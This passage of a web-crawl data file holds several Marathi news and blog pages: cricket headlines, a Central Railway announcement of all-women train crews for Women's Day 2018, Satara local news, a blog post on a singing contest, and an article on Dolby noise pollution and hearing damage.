पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00302.warc.wet.gz", "language": "mr", "language_score": 0.86, "bucket": "all"} {"url": "https://news.indianrailways.info/%E0%A4%AE%E0%A4%A7%E0%A5%8D%E0%A4%AF-%E0%A4%B0%E0%A5%87%E0%A4%B2%E0%A5%8D%E2%80%8D%E0%A4%B5%E0%A5%87%E0%A4%B5%E0%A4%B0-%E0%A4%85%E0%A4%82%E0%A4%A4%E0%A4%B0%E0%A4%B0%E0%A4%BE%E0%A4%B7%E0%A5%8D%E2%80%8D/", "date_download": "2018-09-25T16:39:29Z", "digest": "sha1:L2YIUK7XDBNEM6OZDUMPUHB4TW7UW4UU", "length": 12157, "nlines": 59, "source_domain": "news.indianrailways.info", "title": "मध्य रेल्‍वेवर अंतरराष्‍ट्रीय महीला दिवसाचे आयोजन | Indian Railways News", "raw_content": "\nमध्य रेल्‍वेवर अंतरराष्‍ट्रीय महीला दिवसाचे आयोजन\nभारतीय रेल्‍वेवर मध्‍य रेल्‍वेचे माटूंगा स्‍थानक पहीले स्‍थानक आहे जे पुर्णपणे महीला कर्मचा-यांच्‍या द्वारे चालविण्‍यात येत आहे त्‍यासाठी माटूंगा स्‍थानकाचे नाव लिम्‍का बुक ऑफ रिकार्डस मध्‍ये दर्ज आहे. मध्‍य रेल्‍वेने 8 मार्च 2018 ला अंतरराष्‍ट्रीय महीला दिवसाचे आयोजन आणि या दिवसाला जास्‍त खास बनविण्‍यासाठी याचे अधिकारि आणि कर्मचारीच नाही तर आमच्‍या देशाच्‍या सर्व महीलासाठी ऑल वुमेन क्रू नेमणुकी द्वारा मुंबई आणि पुणेच्‍या दरम्‍यान धावणारी प्रतिष्ठित डेक्‍कन क्‍वीन एक्‍सप्रेस चालविण्‍याचा निर्णय घेतला आहे. मध्‍य रेल्‍वेचे मुख्‍य जनसंपर्क अधिकारी यांच्‍या म्‍हणन्‍यानुसार क्लिष्‍ट आणि तात्रिक रेल्‍वे संचालनासहित सर्व क्षेत्रात महीलाची उपस्थिती ओळखण्‍याच्‍या दिशेने हे एक पाऊल आहे.\nत्‍याच्‍यानुसार मध्‍य रेल्‍वेवर नवीन प्रयोगासाठी डेक्‍कन क्‍वीन एक्‍सप्रेस वर सर्व महीला क्रू ची नेमणूक करण्‍यात आली आहे.\nश्रीमती सुरेखा यादव, लोको पायलट मेल आणि आशियातील पहीली महीला ट्रेन चालक, चालक म्‍हणून तर वरिष्‍ठ सहायक लोको पायलट श्रीमती तृष्‍णा जोशी, यांच्‍या समवेत श्रीमती श्‍वेता घोणे या डेक्‍क्‍न क्‍वीन एक्‍सप्रेसच्‍या गार्डच्‍या स्‍वरूपात काम करण्‍यासाटी सम्‍मानित करण्‍यात आले आहे जी महीला दिनी हीरवा झेडा दाखवून गाडी रवाना करतील. तिकीट तपासणीस, आरपीएफ आणि विद्युत सहायक इत्‍यादी सर्व कर्मचारी या महीलाच राहतील.\nमुंबई विभागता लोकमान्‍य टिळक टर्मिैनस येथे प्रवाशी आणि वैगन डेपोत खुप महीला कर्मचारी कार्यरत आहेत. त्‍यांच्‍या साठी एक महीला कक्षाचे नवीनीकरण केले जात आहे तसेच तेथे जलशुध्‍दीकरण यंत्र, डायनिंग टेबलसह खुर्च्‍या, ड्रेसिंग टेबल, भींतीवरील घडयाळ, थर्मस फ्लास्‍क पडदे, सैनिटरी नॅपकीन इत्‍यादी अनेक सुविधा 8 मार्च अंतरराष्‍ट्रीय महीला दिवस 2018 पासून सुरू करण्‍यात येतील.\nमध्‍य रेल्‍वेच्‍या अन्‍य स्‍थानकावर जेथे महीला कर्मचा-यांची संख्‍या जास्‍त आहे तेथे अशाच प्रकारच्‍या सुविधा देण्‍याचा निर्णय घेण्‍यात आला आहे.\nमहीला दिवसाच्‍या निमित्यांने छत्रपति शिवाजी महाराज टर्मिनस स्‍थानकाचा उपनगरीय भागात एक विशेष कक्ष उघडण्‍यात येणार आहे जो 8 मार्च 2018 रोजी महीला कर्मचा-यांद्वारे संचलित होईल. महीला प्रवाशांचे रेल्‍वे प्रवास अधिक सुखद बनविण्‍यासाठी त्‍यांच्‍याकडे सूचना मागविण्‍यात येतील. यानंतर या सर्व सूचनांचा रेल्‍वे प्रशासनाकडून आढावा घेतला जाईल आणि यथासंभव लागू करण्‍यात येतील.\nमध्‍य रेल्‍वेचे महाव्‍यवस्‍थापक श्री डी.के. शर्मा यांनी मध्‍य रेल्‍वेच्‍या सर्व विभागीय रेल्‍वे व्‍यवस्‍थापकांना आदेश दिले आहेत की, माटूंगा स्‍थानकाचा अनुभव सफल क्रियान्‍वयन आणि सकारात्‍मक प्रतिक्रिये पासून प्रेरित होऊन आपल्‍या विभागात अर्थात नागपुर, भुसावल, पुणे आणि सोलापुर विभागात सुध्‍दा एक स्‍थानक संपुर्ण स्‍वरूपात महीला कर्मचा-या द्वारे चालविण्‍यासाठी नामांकित करावे. याप्रमाणे नागपुर स्‍थानकापासून 3 किलोमीटर दूर रेल्‍वे स्‍थानक अजनी स्‍थानक संपुर्णपणे महीला कर्मचा-या द्वारे 8 मार्च 2018 पासून कार्यान्‍वयीत होईल.\nमध्‍य रेल्‍वेला हे सांगतेवेळी अंत्‍यंत आनंद होत आहे की मध्‍य रेल्‍वेत महीला कर्मचा-यांची एक मोठी सेना आहे, खेळात, सुरक्षा वा ट्रेन परिचालनासह प्रत्‍येक क्षेत्रात त्‍यांनी मोठे यश मिळविले आहे. अंतरराष्‍ट्रीय महीला दिवसाच्या निमित्‍ताने महीला सशक्तिकरणासाठी प्रयत्‍नशील आहोत. मध्‍य रेल्‍वेच्‍या यशस्‍वी महीलांमध्‍ये श्रीमती सुरेखा यादव ज्‍या आशियातील पहील्‍या लोको पायलट आहेत व ज्‍यांना राष्‍ट्रपतींनी अलिकडेच पुरस्‍कार देऊन गौरव केला आहे. अशाच प्रकारे श्रीमती मुमताज काजी ज्‍या मोटरउमन आहेत त्‍यांनाही राष्‍ट्रपतींनी पुरस्‍कार देऊन गौरव केला आहे. मुंबई विभागातील पहीला स्‍टेशन मास्‍टर श्रीमती ममता कुळकर्णी या महीला कर्मचा-या द्वारे संपुर्णपणे संचलित स्‍थानकाच्‍या व्‍यवस्‍थापनाची संपुर्ण जबाबदारी सांभाळत आहेत. रेल्‍वे सुरक्षा दलाच्‍या उपनिरीक्षक श्रीमती रेखा मिश्रा यांचेही कार्य उल्‍लेखनीय आहे. श्रीमती रेखा यांनी घरातून पळालेल्‍या अथवा अपहरण करण्‍यात आलेल्‍या जवळ-पास 900 लहान मुलांना शोधून काढून त्‍यांच्‍या पालकांकडे सोपविले आहे. यावर्षी महीला दिवसाच्‍या निमित्‍ताने त्‍यांना राष्‍ट्रपति पुरस्‍काराने सम्‍मानित करण्‍यात येणार आहे.\nअंतरराष्‍ट्रीय महीला दिवस कार्यक्रमांतर्गत महीला सशक्तिरणाचा क्षेत्रात काम करणा-या प्रख्‍यात व्‍यक्तिचे सेमिनार, व्‍याख्‍यान, ऑडियो-वीडियोचे प्रस्‍तुतिकरणासह अनेक उपक्रम राबविण्‍याची मध्‍य रेल्‍वेने तयारी केलेली आहे. छत्रपति शिवाजी महाराज टर्मिनस ऑडिटोरियम येथे 8.3.2018 रोजी महीला कर्मचा-यांच्‍या चिकित्‍सा संबंधी एक सेमिनारचे आयोजन करण्‍यात आले आहे.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00302.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/editions/satara/page/3", "date_download": "2018-09-25T17:39:57Z", "digest": "sha1:DSDA5T72MNSNIFJINUNXGPLA7ULKHHOB", "length": 9863, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "सातारा Archives - Page 3 of 271 - तरुण भारत | तरुण भारत", "raw_content": "\nमाजी विद्यार्थ्यांनी जपली शाळेप्रती कृतज्ञता\nवार्ताहर / परळी ज्या शाळेत ज्ञानाचे धडे गिरवले, त्या शाळेप्रती कृतज्ञता व्यक्त करत नित्रळ येथील रावसाहेब भाऊसाहेब वांगडे माध्यमिक विद्यालयामध्ये माजी विद्यार्थ्यांतर्फे शालेय विद्यार्थ्यांना डिजिटल इंडियाचे स्वप्न साकारण्यासाठी शाळेस संगणक तसेच वहय़ाचे वाटप करण्यात आले. बुध्दीचा देवता गणरायाच्या स्थापनेच्या दिवसाचे औचित्य साधत आपल्याही शाळेतील मुलांना देखील शहरातील मुलांसारखे शिक्षण मिळण्याच्या हेतूने माजी विद्यार्थ्यांनी हा उपक्रम राबवला. बुध्दीचा देवता गणरायाची ...Full Article\nटेंभूचे पाणी तीन महिन्यांतच मायणी तलावात\nप्रतिनिधी/ वडूज मायणी परिसरातील गावांच्या पाण्यासाठी मंजूर केलेल्या टेंभू योजनेच्या कामाची मुदत सहा महिन्यांची आहे. मात्र प्रत्यक्षात तीन महिन्यांतच टेंभूचे पाणी मायणी तलावात पोहोचेल, असा विश्वास जलसंपदामंत्री गिरीष महाजन ...Full Article\nप्रतिनिधी/ म्हसवड माण-खटाव तालुक्यातील शेतकऱयांना विविध योजनांचे पाणी शेतीकरिता घेण्यासाठी हजारो रुपये शासनाला भरावे लागतात. तो शेतकऱयांच्या घामाचा पैसा वाचा यासाठी माण-खटाव ऍग्रो प्रोसेसिंग साखर कारखाना लि.,ची उभारणी करुन ...Full Article\nशाहूपुरी ग्रामपंचायतीतर्फे तणनाशक फवारणी सुरू\nप्रतिनिधी / सातारा शाहूपुरीतील नागरिकांच्या आरोग्य व स्वच्छतेसाठी ग्रामपंचायतीतर्फे पावसाळय़ानंतर तणनाशक फवारणीच्या कामाचा प्रारंभ पंचायत समिती सदस्य संजय पाटील, सरपंच अमृता प्रभाळे यांच्या उपस्थितीत करण्यात आला. शाहूपुरी ग्रामपंचायतीतर्फे दरवर्षी ...Full Article\nखड्डय़ांच्या पॅचिंगमुळे मोठी वाहतूक कोंडी\nसातारा सध्या शहरातील खड्डय़ांचे पॅचिंग काम वेगात सुरू असून पोवईनाका, शनिवारपेठ, कर्मवीरपथ या रस्त्यावरील खड्डय़ांचे पॅचिंग काम पूर्ण करण्यात आले आहे. मात्र, हे काम सुरू असताना प्राधिकरण कार्यालयासमोरील रस्त्यावर ...Full Article\nघार्गेनी विधानसभेची तयारी करावी\nप्रतिनिधी/ वडूज आगामी काळात होणाऱया विधानसभा निवडणुकीसाठी माजी आमदार प्रभाकर घार्गे यांनी जोरदार तयारी करावी, त्यांना त्यांची सर्वप्रकारे पाठराखण केली जाईल, अशी ग्वाही विधान परिषदेचे सभापती रामराजे नाईक निंबाळकर, ...Full Article\nईश्वरा खोत यांचे कार्य समाजाला दिशादर्शक-डॉ. प्रमोद गावडे\nवार्ताहर / म्हसवड म्हसवडसह विरकरवाडी गावाच्या शैक्षणिक, सामाजिक व राजकीय क्षेत्रात ईश्वरा खोत यांचे कार्य समाजासाठी दिशादर्शक ठरल्याचे मत भेलभंडारा विचार मंचाचे अध्यक्ष डॉ. प्रमोद गावडे यांनी व्यक्त केले. ...Full Article\nडॉ. पवारांच्या माध्यमातून जावलीला सर्वोच्चपद मिळू शकते\nमेढा पोलीस निरिक्षक जीवन माने यांचे प्रतिपादन प्रतिनिधी/ मेढा डॉ. समाधान पवार यांच्या माध्यमातून जावली तालुक्याला देशातील सर्वोच्चपद मिळेल. जावली तालुक्यातील गवडी गावातील सुपुत्राने खडतर परिस्थीतून प्रवास करीत आय.आय.टी.मद्रास ...Full Article\nमराठा आरक्षणासाठी दलित तरुण तुरुंगात खितपतोय\nजामिनाचीही ऐपत नाही ; आता ना दलित ना मराठा पाठीशी , छोटय़ा मुलीसह पत्नीचा संघर्ष सुरु प्रतिनिधी/ सातारा मराठय़ांना आरक्षण मिळावे, या मागणीसाठी साताऱयातील मराठा क्रांती मोर्चात सहभागी झालेला ...Full Article\nग्रामपंचायत कर्मचाऱयांनी केले रस्तारोको\nप्रतिनिधी / सातारा ग्रामपंचायत कर्मचारी ऑक्टोबर 2017 पासून किमान वेतनापासून वंचित आहेत. तसेच ग्रामपंचायतीकडून आदेश मिळूनही आकृतीबंधातील कर्मचाऱयांना मुळ दरातील ग्रामपंचायतींचा हिस्सा व राहणीमान भत्ता अदा केले गेले नाही. ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00303.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/02/blog-post_08.html", "date_download": "2018-09-25T17:47:28Z", "digest": "sha1:4GYAZKL5THNSNI3UPVMYNMBAZBQ4BKSA", "length": 8963, "nlines": 65, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: कार्तिकी गायकवाड", "raw_content": "\nसलोनी, या वीक एंड ला एक खूपच सुंदर कार्यक्रम होता सा रे गा म प little champs या स्पर्धेची महा-अन्तिम फेरी होती सा रे गा म प little champs या स्पर्धेची महा-अन्तिम फेरी होती फ़क्त अन्तिम का नाही फ़क्त अन्तिम का नाही \"महा\"च का हे मला तरी कळत नाही आपल्याकडे विशेषणे थोडी जास्तच वापरली जातात आपल्याकडे विशेषणे थोडी जास्तच वापरली जातात परन्तु असो.... मी तर या कार्यक्रमाच्या अगदीच प्रेमात पडलो बुवा\n२ महिन्यांपूर्वी इथे ख्रिसमस च्या सुटिमध्ये सोनाली ने मला या कार्यक्रमाचे वेड लावले watchindia.tv या वेब साईट वरून झी मराठी वाहिनी इथे पाहता येते watchindia.tv या वेब साईट वरून झी मराठी वाहिनी इथे पाहता येते तिथे आम्ही हां कार्यक्रम पाहू लागलो तिथे आम्ही हां कार्यक्रम पाहू लागलो इतकी लहान मुले इतके छान गातात आणि इतकी सुंदर मराठी गाणी, जुनी गाणी, भजने, भारुड इत्यादि पाहून अत्यानंद झाला इतकी लहान मुले इतके छान गातात आणि इतकी सुंदर मराठी गाणी, जुनी गाणी, भजने, भारुड इत्यादि पाहून अत्यानंद झाला कोण म्हणतो मराठी भाषा किंवा संस्कृति र्हास पावते आहे कोण म्हणतो मराठी भाषा किंवा संस्कृति र्हास पावते आहे या मुलांचे गाणे पाहून आणि श्रोत्यांचा उदंड प्रतिसाद पाहून मराठी भाषेचे अणि संस्कृतीचे भवितव्य उज्ज्वलच आहे असे म्हणावेसे वाटते\nतशी सर्वच मुलेविशेषतः अन्तिम फेरीत पोचलेली पाच मुले उत्तमच - नव्हे असाधारण - होती परन्तु कार्तिकी गायकवाड हे अगदी विशेष प्रकरण परन्तु कार्तिकी गायकवाड हे अगदी विशेष प्रकरण सुरेश वाडकरान्च्या भाषेत \"भूत\" आहे सुरेश वाडकरान्च्या भाषेत \"भूत\" आहे तिचे स्वर आणि भाव यांना तोड़ नाही तिचे स्वर आणि भाव यांना तोड़ नाही ताल आणि लय हे ज़मणे त्यामानाने सोपे आहे ताल आणि लय हे ज़मणे त्यामानाने सोपे आहे परन्तु स्वरान्वर पकड़ मिळवायला भल्या भल्याना जन्म जातो परन्तु स्वरान्वर पकड़ मिळवायला भल्या भल्याना जन्म जातो आणि त्यापलीकडे भाव व्यक्त करणे हे अजूनही अवघड आणि त्यापलीकडे भाव व्यक्त करणे हे अजूनही अवघड कार्तिकिची सर्वच गाणी केवळ सुर लय आणि तालात नव्हती तर अगदी थेट काळजाला जाऊन भिडणारी होती कार्तिकिची सर्वच गाणी केवळ सुर लय आणि तालात नव्हती तर अगदी थेट काळजाला जाऊन भिडणारी होती \"घायाळ पक्षिणी\", \"उघड्या पुन्हा जाहल्या\", \"लिंगोबाचा डोंगर\" या गाण्यांनी तर कहर केला \"घायाळ पक्षिणी\", \"उघड्या पुन्हा जाहल्या\", \"लिंगोबाचा डोंगर\" या गाण्यांनी तर कहर केला ही ३ गाणी माझ्या मते मूळ गाण्यांपेक्षा उत्तम गायली कार्तिकिने ही ३ गाणी माझ्या मते मूळ गाण्यांपेक्षा उत्तम गायली कार्तिकिने याव्यतिरिक्त अजून तिचे एक वैशिष्ट्य म्हणजे कार्तिकिने तिच्या वडिलांनी संगीत दिलेली आणि सहसा लोकांनी न ऐकलेली गीते गायली याव्यतिरिक्त अजून तिचे एक वैशिष्ट्य म्हणजे कार्तिकिने तिच्या वडिलांनी संगीत दिलेली आणि सहसा लोकांनी न ऐकलेली गीते गायली गाजलेल्या गीतान्वर टाळ्या मिळवणे त्यामानाने सोपे आहे गाजलेल्या गीतान्वर टाळ्या मिळवणे त्यामानाने सोपे आहे परन्तु कुणी न ऐकलेली गाणी लोकांना आवडावीत यातच कार्तिकिचे असाधारणत्त्व दिसते परन्तु कुणी न ऐकलेली गाणी लोकांना आवडावीत यातच कार्तिकिचे असाधारणत्त्व दिसते \"कांदा मूळा भाजी\", \"घागर घेउन\", \"राधे चाल चाल\", \"खोटे नाटे बोलू नका\" एक ना अनेक, कार्तिकिने सुंदर भजने गवळणी भारुडे सादर करून लोकांना वेड लावले\nस्पर्धेला थोडेसे गालबोट लागले असेल तर ते म्हणजे SMS द्वारे मतदान करण्याच्या पद्धति मुळे कार्तिकी बाहेर फेकली गेली होती आळंदिच्या या मुलीला SMS सुरुवातीला खूप कमी आले आळंदिच्या या मुलीला SMS सुरुवातीला खूप कमी आले आपल्याकडे अजूनही SMS आवर्जून पाठवावेत असा वेळ, पैसा, फुरसत समाजातील सर्व घटकांकडे नाही आपल्याकडे अजूनही SMS आवर्जून पाठवावेत असा वेळ, पैसा, फुरसत समाजातील सर्व घटकांकडे नाही आणि अजूनही आपण थोड़े अनुदार आहोत की आडनावे पाहून भेदभाव करतो आणि अजूनही आपण थोड़े अनुदार आहोत की आडनावे पाहून भेदभाव करतो परन्तु झी वरील सर्व मान्यवरांच्या कृपेने कार्तिकी ला परत बोलावण्यात आले आणि पुढे तिने इतिहास घडवला\nयामध्ये मला असा पण एक विशेष आनंद झाला की भारतात आपण मुलांना भावना व्यक्त करायला बंधने घालतो... त्याच्या अगदी विरुद्ध असा हां कार्यक्रम झाला मुले मुक्त कंठाने गायली आणि स्वत: ला अभिव्यक्त करू लागली मुले मुक्त कंठाने गायली आणि स्वत: ला अभिव्यक्त करू लागली आणि अगदी फक्त पुणे आणि मुंबई च नाही तर रत्नागिरी, अलीबाग, आलंदी, लातूर .... आणि अगदी फक्त पुणे आणि मुंबई च नाही तर रत्नागिरी, अलीबाग, आलंदी, लातूर .... हेच योग्य आहे आणि त्यातच मजा आहे हेच योग्य आहे आणि त्यातच मजा आहे सर्व लोकांना आणि सर्व घटकांना समाजात स्थान असले पाहिजे आणि त्यांच्या गुणांना वाव मिलला पाहिजे\nपरदेशात राहून कधी कधी छोट्या छोट्या गोष्टींचा असा हां जास्त आनंद होतो कार्तिकी चा विजय म्हणजे माझ्या मते अनेक गोष्टींचा विजय होता कार्तिकी चा विजय म्हणजे माझ्या मते अनेक गोष्टींचा विजय होता अभिव्यक्तिचा बंधनावर, लोकसंस्कृतिचा अभिजनांवर, मराठी संस्कृतीचा हिंदीच्या आक्रमणावर आणि मराठी माणसाच्या उदारपणाचा संकुचितपणावरचा हां विजय\n वीक एंड धन्य झाला\nओबामा - ३७ दिवसांचा आढावा\nपाठीचे दुखणे आणि सोनाली ची ग्लूकोज चाचणी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00304.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%B0%E0%A4%BE%E0%A4%9C%E0%A4%B6%E0%A5%8D%E0%A4%B0%E0%A4%AF-%E0%A4%85%E0%A4%B8%E0%A4%B2%E0%A4%BE-%E0%A4%A4%E0%A4%B0%E0%A5%80-%E0%A4%A1%E0%A5%89%E0%A4%B2%E0%A5%8D%E0%A4%AC%E0%A5%80-%E0%A4%A8/", "date_download": "2018-09-25T17:09:54Z", "digest": "sha1:X7VM7CCTMRRNXWDU2BDLZ4DBVHUNM6DE", "length": 12638, "nlines": 165, "source_domain": "www.dainikprabhat.com", "title": "राजश्रय असला तरी डॉल्बी नकोच | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nराजश्रय असला तरी डॉल्बी नकोच\nउच्च न्यायालयाच्या निर्देशामुळे पर्यावरणपूरक गणेशोत्सवाला बळ\nसातारा, दि. 15 (प्रतिनिधी) –\nडॉल्बी सिस्टीमबाबत आजपर्यंत अनेकवेळा प्रबोधन होऊनसुद्धा पोलिसांना आव्हान देत मंडळांकडून त्याचा वापर केला जातो. साताऱ्यात तर या आव्हानाला थेट खासदार उदयनराजे भोसले यांचा राजाश्रय मिळाला आहे. त्यामुळे साताऱ्यात प्रशासन विरूध्द उदयनराजे असा संघर्ष निर्माण झाला आहे. डॉल्बीच्या राजकीय संघर्ष बाजूला ठेवला तरी डॉल्बीचा दणदणाट वैद्यकीय दृष्टया शरीराला हानिकारकच आहे. डॉल्बीचे कायदे काय आहेत, व त्या कायद्यांच्या अंमलबजावणीचे कसे काम होते हा वादाचा विषय आहे. या तांत्रिक तपशीलात एक हलकीशी लक्ष्मण रेषा आहे. गतवर्षीचा अनुभव पाहता साताऱ्यात काही मंडळांवर ध्वनिप्रदूषण केल्याबद्दल पोलिसांनी गुन्हे दाखल केले आहेत. ही प्रक्रिया आता न्यायालयीन स्तरावर आहे. आणि उच्च न्यायालयाने नो डॉल्बी म्हणल्याने डॉल्बीचा दणदणाट गणेशोत्सवात आता कायदेशीरदृष्टया बंद राहणार आहे . ध्वनिप्रदूषणामुळे नेमके काय होते, त्याचे परिणाम काय आहेत, सर्वसामान्यांना त्याचा त्रास काय होऊ शकतो, हे लक्षात घेण्याची गरज आहे.\nशास्त्रीय विश्‍लेषण केले असता शरीरावर परिणाम करणाऱ्या अनिष्ट बाबी समोर येतात. गणेश आगमनावेळी साताऱ्यात राजपथावर मुख्य मार्गावर साधारण तीन वर्षापूर्वी डॉल्बीच्या आवाजाने भिंत कोसळून तिघांचा मृत्यू झाला होता. अधिक मंडळांकडून डॉल्बी सिस्टीमचा वापर होत असल्याचे दिसून आले. 2015 च्या आकडेवारीनुसार केवळ साताऱ्यातीलसुमारे 16 मंडळांतील हून अधिक कार्यकर्त्यांवर डॉल्बी सिस्टीम वाजविल्याबद्दल कारवाई करण्यात आली. आज त्या कार्यकर्त्यांना नोकरी मिळविताना आणि पासपोर्ट मिळविताना अनेक कायद्याच्या बाबीतून मार्ग काढावा लागत आहे. त्यामुळे उत्सवातील आनंद द्विगुणित झाला पाहिजे; पण इतरांना त्रास होऊ नये, याचीही दक्षता घेतली पाहिजे.\nकानाचे तीन भाग असतात – बाह्य, मध्य आणि अंतर्कर्ण बाह्य आणि मध्य यांच्यामध्ये कानाचा पडदा असतो. ध्वनिलहरी बाह्य कर्ण कानाच्या पडद्यामार्गे मध्यकर्णात येतात. मध्यकर्णात लहान तीन हाडांच्या साखळ्या असतात. त्यामार्गे हा आवाज अंतर्कर्णात येतो. अंतर्कर्णात हेअर सेल असतात, त्यांच्यामार्फत ऑडिटरी नर्व्हच्या माध्यमातून लहरी मेंदूकडे जातात. जेव्हा अगदी मोठा आवाज होतो, तेव्हा त्या अंतर्कर्णातील हेअरसेलमध्ये दोष निर्माण होऊन या ध्वनिलहरी मेंदूकडे पाठविल्या जात नाहीत. आवाजाबाबत विशेष म्हणजे 30 डेसिबल म्हणजे तोंटात पुटपुटणे, 60 म्हणजे नेहमीचे बोलणे, 90 म्हणजे ओरडणे, 120 म्हणजे कानासाठी अस्वस्थ आवाज, 130 म्हणजे कानात वेदनादायक आवाज होय. डॉल्बी आणि फटाक्‍यांच्या आवाजाने कानाला हानी पोहोचू शकते.\nअसा होऊ शकतो परिणाम\nडॉल्बीचा आणि फटाक्‍यांच्या आवजाने श्रवणशक्तीला हानी पोहोचते, कानाचा पडदा फाटला जाऊ शकतो. पडद्याला छिद्र पडू शकते. मध्यकर्णाच्या हाडांच्या साखळीला इजा पोहोचू शकते. काही वेळा कानात आवाज (रिंगिंग साऊंड) येऊ शकतो.\nडेसिबल किती वेळ आवाज क्षमता तास\nसाधारणपणे 90 डेसिबलचा आवाज आपण आठ तास ऐकू शकतो; मात्र 115 डेसिबल आवाज केवळ 25 मिनिटेच ऐकू शकतो.\n90 डेसिबल – 8 तास\n95 डेसिबल – 4 तास\n100 डेसिबल -2 तास\n105 डेसिबल -1 तास\n110 डेसिबल -30 मिनिटे\n115 डेसिबल -25 मिनिटे\nसर्वसाधारण — नेहमीचे आवाज मापन (डेसिबल)\nनेहमीचे बोलणे – 60\nहेवी ट्रॅफिक – 85\nएमपी थ्री प्लेअर मोठा आवाज – 105\nबाह्य आवाजापासून कानाच्या संरक्षणाचे काही उपाय\nकापूस बोळे – 5 डेसिबलपर्यंत संरक्षण\nइअर प्लग – 15–30 डेसिबलपर्यंत\nइअर मफ – 30-40 डेसिबल\nइअर प्लग आणि मफ – 40 पेक्षा जादा डेसिबलसाठी\nविभाग – दिवसा ः रात्री दहा ते सकाळी\nसहा औद्योगिक वसाहती – (75 डेसिबल) ः (70 डेसिबल)\nकमर्शिअल – 65 ः 55\nरेसिडेन्शिअल – 55 ः 45\nसायलेंट झोन – 50 ः 40 –\nगणेश विसर्जन मिरवणुकीतील मंडळांची संख्या\n2016 मध्ये 380 मंडळे\n2017 मध्ये 392 मंडळे\n2018 मध्ये साधारण 418\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleफरार कैदी दहा वर्षांनी जेरबंद\nNext articleशितळानगर येथील भुयारी मार्गाचे काम पूर्ण करण्याच्या आश्‍वासनानंतर आंदोलन स्थगीत\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00304.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.transliteral.org/keywords/%E0%A4%B8%E0%A4%BE%E0%A4%A7%E0%A4%A8/word", "date_download": "2018-09-25T17:25:43Z", "digest": "sha1:FZSF7ZK3OHZ6G7JVLH25SFFVXN7XCEXK", "length": 7597, "nlines": 113, "source_domain": "www.transliteral.org", "title": "Keyword - साधन", "raw_content": "\nविवाहासाठीच्या मुहूर्तांची नांवे काय\nब्रह्मचैतन्य महाराज - मे मास\nमहाराजांचे प्रवचन वाचले की वाटते , श्रीमहाराजांनी हे माझ्याचसाठी लिहिलेले आहे .\nमे १ - साधन\nमहाराजांचे प्रवचन वाचले की वाटते , श्रीमहाराजांनी हे माझ्याचसाठी लिहिलेले आहे .\nमे २ - साधन\nमहाराजांचे प्रवचन वाचले की वाटते , श्रीमहाराजांनी हे माझ्याचसाठी लिहिलेले आहे .\nमे ३ - साधन\nमहाराजांचे प्रवचन वाचले की वाटते , श्रीमहाराजांनी हे माझ्याचसाठी लिहिलेले आहे .\nमे ४ - साधन\nमहाराजांचे प्रवचन वाचले की वाटते , श्रीमहाराजांनी हे माझ्याचसाठी लिहिलेले आहे .\nमे ५ - साधन\nमहाराजांचे प्रवचन वाचले की वाटते , श्रीमहाराजांनी हे माझ्याचसाठी लिहिलेले आहे .\nमे ६ - साधन\nमहाराजांचे प्रवचन वाचले की वाटते , श्रीमहाराजांनी हे माझ्याचसाठी लिहिलेले आहे .\nमे ७ - साधन\nमहाराजांचे प्रवचन वाचले की वाटते , श्रीमहाराजांनी हे माझ्याचसाठी लिहिलेले आहे .\nमे ८ - साधन\nमहाराजांचे प्रवचन वाचले की वाटते , श्रीमहाराजांनी हे माझ्याचसाठी लिहिलेले आहे .\nमे ९ - साधन\nमहाराजांचे प्रवचन वाचले की वाटते , श्रीमहाराजांनी हे माझ्याचसाठी लिहिलेले आहे .\nमे १० - साधन\nमहाराजांचे प्रवचन वाचले की वाटते , श्रीमहाराजांनी हे माझ्याचसाठी लिहिलेले आहे .\nमे ११ - साधन\nमहाराजांचे प्रवचन वाचले की वाटते , श्रीमहाराजांनी हे माझ्याचसाठी लिहिलेले आहे .\nमे १२ - साधन\nमहाराजांचे प्रवचन वाचले की वाटते , श्रीमहाराजांनी हे माझ्याचसाठी लिहिलेले आहे .\nमे १३ - साधन\nमहाराजांचे प्रवचन वाचले की वाटते , श्रीमहाराजांनी हे 